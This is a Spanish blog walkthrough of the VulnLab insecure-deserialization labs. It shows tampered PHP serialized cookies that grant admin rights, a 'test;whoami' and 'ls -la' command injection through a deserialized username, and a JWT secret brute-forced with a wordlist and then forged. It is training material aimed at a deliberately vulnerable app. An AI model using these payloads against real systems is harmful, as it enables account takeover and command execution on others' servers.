Insecure Deserialization Lab - VulnLab

elc4br4elc4br4
11 min read

En esta ocasión vamos a utilizar el contenedor vulnlab que contiene diferentes tipos de laboratorios Insecure Deserialization que analizaremos y resolveremos.

https://github.com/Yavuzlar/VulnLab


Insecure Deserialization | Admin Account 1

Debemos ganar acceso a la cuenta de administrador, en la cual no estamos autorizados.

Se nos dan las credenciales por defecto test:test

Y tenemos acceso al código fuente para ver como está configurada la vuln en este primer laboratorio.

<?php

    require("user.php");
    require("db.php");
    require("../../../lang/lang.php");
    $strings = tr();

    $db = new DB();
    $users = $db->getUsersList();


    if( isset( $_POST['username'] ) && isset( $_POST['password'] ) ){

        $username = $users[0]['username'];
        $password = $users[0]['password'];

        if( $username === $_POST['username'] && $password === $_POST['password'] ){


            header("Location: index.php");
            $user = new User($username,$password);
            $serializedStr = serialize($user);
            $extremeSecretCookie = base64_encode($serializedStr);
            setcookie('V2VsY29tZS1hZG1pbgo',$extremeSecretCookie);

            header("Location: index.php");
            exit;
        }
        else{
            header("Location: login.php?msg=1");
            exit;
        }
    }

?>

Analizamos las partes importantes del código php, ya que estamos ante una serialización php.

  1. Este bloque se inicia si se envían las variables username y password a través de un formulario, que en este caso es un login.Realiza la comprobación a través de isset que verifica si las variables existen en el array $_POST.
if (isset($_POST['username']) && isset($_POST['password'])) {
  1. Se realiza una verificación de credenciales, aunque solo extrae el primer usuario y la primera contraseña de la lista (lo que no es suficiente para una autenticación adecuada).

    Después usando el condicional if compara el usuario y la password con los introducidos en el formulario y si coinciden, se continúa la ejecución del código.

$username = $users[0]['username'];
$password = $users[0]['password'];

if ($username === $_POST['username'] && $password === $_POST['password']) {
  1. Una vez que la autenticación es exitosa se procede a realizar entre otras cosas la serialización y codificación a base64.
header("Location: index.php");
$user = new User($username, $password);
$serializedStr = serialize($user);
$extremeSecretCookie = base64_encode($serializedStr);
setcookie('V2VsY29tZS1hZG1pbgo', $extremeSecretCookie);
header("Location: index.php");
exit;
  • header("Location: index.php"); : Redirige al usuario a index.php.

  • $user = new User($username, $password);: Se crea un objeto User utilizando las credenciales proporcionadas.

  • $serializedStr = serialize($user);: El objeto User se serializa, convirtiéndolo en una cadena que puede ser almacenada como una cookie.

  • $extremeSecretCookie = base64_encode($serializedStr);: Se codifica la cadena serializada en Base64. Esto es útil para representar datos binarios o caracteres especiales en un formato que pueda ser utilizado en texto plano, como las cookies HTTP.

  • setcookie('V2VsY29tZS1hZG1pbgo', $extremeSecretCookie);: Se establece una cookie con el nombre V2VsY29tZS1hZG1pbgo y el valor de la cadena codificada. Este valor puede ser utilizado más tarde para reconocer al usuario.

  • El segundo header("Location: index.php"); y el exit; se utilizan aquí nuevamente para redirigir al usuario a la página de inicio y terminar el script.

  1. En caso de que las credenciales no coincidan se nos redirigirá a login.php con un parámetro de consulta msg=1 que nos mostrará un error.
else {
    header("Location: login.php?msg=1");
    exit;
}

login.php?msg=1

Como sabemos que la cadena se serializa y se establece dentro de la cookie lo que podemos hacer es capturar la cookie e intentar deserializarla para ver como está formada.

Para ello simplemente iniciamos sesión con las credenciales por defecto y desde el inspeccionar elemento de nuestro navegador nos dirigimos a storage y encontraremos la cookie.

La cookie está formada por dos partes.

V2VsY29tZS1hZG1pbgo:Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjQ6InRlc3QiO3M6ODoicGFzc3dvcmQiO3M6NDoidGVzdCI7fQ%3D%3D

Podemos pasar cada parte de la cookie por separado de base64 a texto plano y ver como se forma esta cookie.

La segunda parte de la cookie que es la que nos interesa es:

O:4:"User":2:{s:8:"username";s:4:"test";s:8:"password";s:4:"test";}

Podemos ver que se define la siguiente información:

  • O:4:"User":

La O indica que se está serializando un objeto.

4 es el número de caracteres en el nombre de la clase del objeto, que es User.

:"User" indica que el nombre de la clase es "User".

  • :2: : Este número indica que el objeto tiene 2 propiedades o elementos.

  • {...} : Dentro de las llaves {} se encuentran las propiedades del objeto.

  • s:8:"username";: La s indica que es una cadena ("string").

    8 es la longitud de la cadena (en este caso, "username" tiene 8 caracteres).

  • s:5:"admin"; : Esta parte indica otra cadena.

    5 es la longitud de la cadena ("admin" tiene 5 caracteres).

    :"admin" es el valor asignado a la propiedad username.

  • s:8:"password"; : Indica otra cadena, en este caso la propiedad password.

    8 es la longitud de la cadena "password".

  • s:4:"test"; : Aquí se indica el valor para la propiedad password.

    4 es la longitud de la cadena ("test" tiene 4 caracteres).

A continuación podríamos modificar el valor del usuario test y cambiarlo por admin así como el número de caracteres de 4 a 5... y quedaría de la siguiente forma.

O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:4:"test";}

Si ahora pasamos esta data de nuevo a base64 y la insertamos en la cookie a través del navegador...

Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjQ6InRlc3QiO30=

Recargamos la página y ya lo tenemos, hemos iniciado sesión como administrador.


Insecure Deserialization | Admin Account 2

Este segundo laboratorio es exactamente igual que el anterior pero con unos pequeños cambios que veremos a continuación.

Debemos ganar acceso a la cuenta de administrador, en la cual no estamos autorizados.

Se nos dan las credenciales por defecto test:test

En esta ocasión analizaremos muy por encima el código php ya que es realmente parecido al anterior pero con un pequeño cambio.

  1. En primer lugar se produce una condición que verifica si el usuario y la contraseña son iguales a los hashes md5 de los valores introducidos en un formulario a través de $_POST['username'] y $_POST['password'].

  2. Si la autenticación es exitosa, se crea un nuevo objeto User con el nombre de usuario, la contraseña y una variable $isAdmin.

  3. El objeto User se convierte a un formato de cadena que puede ser almacenado o transmitido usando serialize(). Esto es importante para poder almacenar el objeto en una cookie.

  4. La cadena serializada se codifica en base64 y se aplica urlencode() para asegurarse de que cualquier carácter especial no interfiera con la transmisión de la cookie.

  5. Se establece una cookie d2VsY29tZS1hZG1pbmlzdHJhdG9y que también está codificada en base64 y que contiene la versión codificada de la cadena serializada $serializedStr.

if( $username === md5($_POST['username']) && $password === md5($_POST['password']) ){

        $user = new User($username,$password,$isAdmin);
        $serializedStr = serialize($user);
        $extremeSecretCookie = base64_encode(urlencode($serializedStr));
        setcookie('d2VsY29tZS1hZG1pbmlzdHJhdG9y',$extremeSecretCookie);
        header("Location: index.php");

A continuación lo podremos ver mucho más claro.

  • Iniciamos sesión en el panel login con las credenciales por defecto test:test.

  • Una vez iniciada la sesión nos dirigimos al apartado inspeccionar de nuestro navegador y a storage, donde veremos la cookie completa, que como comentaba anteriormente está formada por dos partes, pero nos interesa la segunda parte.

TyUzQTQlM0ElMjJVc2VyJTIyJTNBMyUzQSU3QnMlM0E4JTNBJTIydXNlcm5hbWUlMjIlM0JzJTNBMzIlM0ElMjIwOThmNmJjZDQ2MjFkMzczY2FkZTRlODMyNjI3YjRmNiUyMiUzQnMlM0E4JTNBJTIycGFzc3dvcmQlMjIlM0JzJTNBMzIlM0ElMjIwOThmNmJjZDQ2MjFkMzczY2FkZTRlODMyNjI3YjRmNiUyMiUzQnMlM0E3JTNBJTIyaXNBZG1pbiUyMiUzQmklM0EwJTNCJTdE

Si cogemos la cadena completa y la decodificamos de base64 a texto plano veremos que la cadena está a su vez urlencodeada.

O%3A4%3A%22User%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A32%3A%22098f6bcd4621d373cade4e832627b4f6%22%3Bs%3A8%3A%22password%22%3Bs%3A32%3A%22098f6bcd4621d373cade4e832627b4f6%22%3Bs%3A7%3A%22isAdmin%22%3Bi%3A0%3B%7D

Si pasamos la cadena de urlencode a texto plano podremos ver la cadena sin codificar.

O:4:"User":3:{s:8:"username";s:32:"098f6bcd4621d373cade4e832627b4f6";s:8:"password";s:32:"098f6bcd4621d373cade4e832627b4f6";s:7:"isAdmin";i:0;}

Pero el valor del usuario y la contraseña también están codificados en un hash md5, por lo que debemos generar un hash md5 partiendo del valor administrator que es el usuario en el que nos queremos loguear y modificar el valor entero final de "isAdmin";i:0; a "isAdmin";i:1;.

De nuevo pasamos la cadena completa a urlencode y a base64 y quedaría tal que así:

Tzo0OiUyMlVzZXIlMjI6MzolN0JzOjg6JTIydXNlcm5hbWUlMjI7czozMjolMjIyMDBjZWIyNjgwN2Q2YmY5OWZkNmY0ZjBkMWNhNTRkNCUyMjtzOjg6JTIycGFzc3dvcmQlMjI7czozMjolMjIwOThmNmJjZDQ2MjFkMzczY2FkZTRlODMyNjI3YjRmNiUyMjtzOjc6JTIyaXNBZG1pbiUyMjtpOjE7JTdEJTBB

Ahora simplemente cogemos esta cadena,la introducimos en el valor de la cookie desde el navegador y recargamos la página.


Insecure Deserialization | Full Privileges

Este laboratorio es exactamente igual que el anterior pero con la única diferencia de que en este tenemos diferentes permisos, y debemos obtenerlos todos.

Debemos ganar acceso a los permisos add, delete y update, permisos a los cuales no estamos autorizados.

Se nos dan las credenciales por defecto test:test

El código actual es exactamente igual que el anterior pero con la diferencia de que ahora se establecen permisos.

 if( $username === md5($_POST['username']) && $password === md5($_POST['password']) ){

        $isAdmin = $users[1]['isAdmin'];
        $permissions = $users[1]['permissions'];


        $user = new User($username,$password,$isAdmin,$permissions);
        $serializedStr = serialize($user);
        $extremeSecretCookie = base64_encode(urlencode($serializedStr));
        setcookie('Z3JhbnQtZnVsbC1wcml2aWxpZ2VzCg',$extremeSecretCookie);
        header("Location: index.php");
        exit;

El proceso es similar, pero en esta ocasión lo voy a resolver usando la herramienta Burpsuite para variar un poco, aunque es posible realizarlo desde el navegador usando los procedimientos de laboratorios anteriores.

Iniciamos sesión con las credenciales por defecto y capturamos la petición en Burpsuite.

Podemos ver el valor de la cookie, pero como en el laboratorio anterior, está codificada en base64 y url-encodeada, y a su vez el usuario y la contraseña están en formato md5.

La decodificamos para verlo en texto plano.

O:4:"User":4:{s:8:"username";s:32:"098f6bcd4621d373cade4e832627b4f6";s:8:"password";s:32:"098f6bcd4621d373cade4e832627b4f6";s:7:"isAdmin";i:0;s:11:"permissions";O:10:"Permission":3:{s:9:"canDelete";i:0;s:9:"canUpdate";i:0;s:6:"canAdd";i:0;}}

De nuevo debemos modificar el valor del hash md5, el valor isAdmin y los valores de los permisos cambiarlos a 1, por lo que quedaría de la siguiente forma:

O:4:"User":4:{s:8:"username";s:32:"200ceb26807d6bf99fd6f4f0d1ca54d4";s:8:"password";s:32:"098f6bcd4621d373cade4e832627b4f6";s:7:"isAdmin";i:1;s:11:"permissions";O:10:"Permission":3:{s:9:"canDelete";i:1;s:9:"canUpdate";i:1;s:6:"canAdd";i:1;}}

A continuación modificamos el valor de la cookie en la petición capturada en Burpsuite y hacemos click en Forward.

Y ya habremos obtenido todos los permisos.


Insecure Deserialization | Random Nick Generator

Este laboratorio ya va cambiando un poco con respecto a los anteriores, pero es bastante sencillo también.

Debemos ganar acceso al Sistema.

Nos dan de nuevo las credenciales por defecto test:test

Y como en los laboratorios anteriores, analizaremos de nuevo el código php por encima para ver como está desarrollada esta vulnerabilidad y como podemos aprovecharnos de ella.

<?php
error_reporting(0);
ini_set('display_errors', 0);
include("user.php");
require("../../../lang/lang.php");
$strings = tr();
$user;
$randomNames;


if( isset($_COOKIE['Session']) ){

    try{
    $user = unserialize(base64_decode ( $_COOKIE['Session'] ) );
    $randomNames = $user -> generatedStrings;
    if(empty($randomNames))
    array_push($randomNames,"test");


    if( is_null($randomNames) ){
        $randomNames = ["test"];
    }

    }catch(Exception $e){
        header("Location: login.php?msg=3");
        exit;
    }

    if( isset($_GET['generate'] ) ){
        ob_start();
        array_push($randomNames,$user->getRandomString());
        ob_end_clean();
        $user -> generatedStrings = $randomNames;
        $serializedStr = serialize($user);
        setcookie('Session', base64_encode($serializedStr), time()+3600, '/');

    }



}else{
    header("Location: login.php?msg=2");
    exit;
}

De forma muy resumida, el código PHP gestiona la sesión de un usuario a través de una cookie llamada Session.

Si la cookie está establecida, deserializa el objeto de usuario y verifica sus cadenas generadas.Si están vacías, añade "test".

Cuando se recibe el parámetro generate, añade una nueva cadena aleatoria a la lista y actualiza la cookie con el nuevo estado del usuario.

Si ocurre un error en la deserialización o si la cookie no está presente, redirige al usuario a la página de inicio de sesión.

Por lo que si cogemos la cookie y la decodificamos de base64 a texto plano y luego a url decode, podremos ver como está formada la misma ya deserializada.

Para entenderlo mejor lo voy a descomponer para explicarlo de forma sencilla:

  • O:4:"User":6: significa que es un objeto de la clase User con 6 propiedades.
O:4:"User":6:{
    s:8:"username";s:7:"test";          // username: "test"
    s:8:"password";N;                       // password: null
    s:16:"generatedStrings";a:0:{}         // generatedStrings: array vacío
    s:7:"command";s:6:"system";            // command: "system"
    s:8:"fileName";s:19:"randomGenerator.php"; // fileName específico
    s:13:"fileExtension";s:3:"php";       // fileExtension específico
}

Lo que podríamos hacer es concatenarle al valor del usuario test un comando de sistema para ver si lo ejecuta y nos muestra la salida por pantalla junto al usuario random que genera.

O:4:"User":6:{
    s:8:"username";s:11:"test;whoami";          // username: "test;whoami"
    s:8:"password";N;                       // password: null
    s:16:"generatedStrings";a:0:{}         // generatedStrings: array vacío
    s:7:"command";s:6:"system";            // command: "system"
    s:8:"fileName";s:19:"randomGenerator.php"; // fileName específico
    s:13:"fileExtension";s:3:"php";       // fileExtension específico
}

Si codificamos de nuevo toda esta cadena y la modificamos desde burpsuite al capturar la petición de generar un nuevo usuario random podremos ver que ejecuta el comando y nos muestra la salida por pantalla.

Podemos probar con cualquier otro comando que el resultado será el mismo, por ejemplo probaré con ls -la.

Tzo0OiJVc2VyIjo2OntzOjg6InVzZXJuYW1lIjtzOjExOiJ0ZXN0OmxzIC1sYSI7czo4OiJwYXNzd29yZCI7TjtzOjE2OiJnZW5lcmF0ZWRTdHJpbmdzIjthOjA6e31zOjc6ImNvbW1hbmQiO3M6Njoic3lzdGVtIjtzOjg6ImZpbGVOYW1lIjtzOjE5OiJyYW5kb21HZW5lcmF0b3IucGhwIjtzOjEzOiJmaWxlRXh0ZW5zaW9uIjtzOjM6InBocCI7fQ%3d%3d

O:4:"User":6:{s:8:"username";s:11:"test:;ls -la";s:8:"password";N;s:16:"generatedStrings";a:0:{}s:7:"command";s:6:"system";s:8:"fileName";s:19:"randomGenerator.php";s:13:"fileExtension";s:3:"php";}


Insecure Deserialization | JWT Attack

En este último laboratorio de Insecure Deserialization debemos realizar un ataque JWT para ganar acceso con privilegios de administrador.

Un token JWT (JSON Web Token) es un estándar abierto que permite la transmisión segura de información entre partes como un objeto JSON.

Se utiliza principalmente para la autenticación y la autorización en aplicaciones web.

Un JWT consta de tres partes:

  1. Header (Encabezado)*:* Indica el tipo de token y el algoritmo de firma utilizado (por ejemplo, HMAC o RSA).

  2. Payload (Carga útil)*:* Contiene la información o los datos que se quieren transmitir, como el ID del usuario o sus roles. Esta información puede ser leída por cualquier persona, así que no debe contener datos sensibles.

  3. Signature (Firma)*:* Se utiliza para verificar que el emisor del token es quien dice ser y para asegurar que el mensaje no ha sido alterado. Se genera tomando el encabezado y la carga útil, y firmándolos con una clave secreta.


Se nos dan las credenciales por defecto Yavuzlar:Vulnlab

Lo primero que hago es iniciar sesión para acceder al panel y capturar el token jwt.

Si nos fijamos tenemos un botón que nos redirige al famoso repositorio SecLists, donde encontramos diferentes archivos con contraseñas... Por lo que ya nos están dando una pista clave.

https://github.com/danielmiessler/SecLists/blob/master/Passwords/darkweb2017-top100.txt

Si cogemos el token generado y nos dirigimos a la web jwt.io podremos ver que contiene el token y como está formado.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IllhdnV6bGFyIn0.mcBZgsTf7N1sQbzBqnMLEPdHmub6XQ-sug-jAZiIMVo

Como podemos ver en la imagen, en la parte del payload podemos ver que se especifica el nombre de usuario con el que hemos iniciado sesión... pero...

¿Podríamos modificarlo e introducir el JWT y recargar la página para ganar acceso como administrador?

Pues ya os adelanto que NO, básicamente porque tenemos la pista del wordlist.

En ocasiones los JWT se protegen a través de una clave, ya sea por confidencialidad, para gantarizar autenticaciones legítimas, o simplemente por pura integridad de los datos.

Pero tenemos el JWT y tenemos un diccionario... por lo que vamos a realizar un ataque de fuerza bruta al token JWT.
Para realizar este ataque haré uso de la herramienta jwt_tool.

https://github.com/ticarpi/jwt_tool

Es proceso es muy sencillo, solo debemos ejecutar el siguiente comando:

Tras ejecutar el ataque obtenemos la contraseña dragon.

Por lo que si nos dirigimos a la web jwt.io de nuevo y le pasamos la contraseña y modificamos el payload podremos generar un JWT válido.

Copiamos el JWT que nos genera y desde el inspeccionar elemento > storage, modificamos el que hay e introducimos el nuevo, después recargamos la página y...

Y con este último laboratorio doy por completado la serie de Insecure Deserialization.

10
Subscribe to my newsletter

Read articles from elc4br4 directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

elc4br4
elc4br4

Cybersecurity Student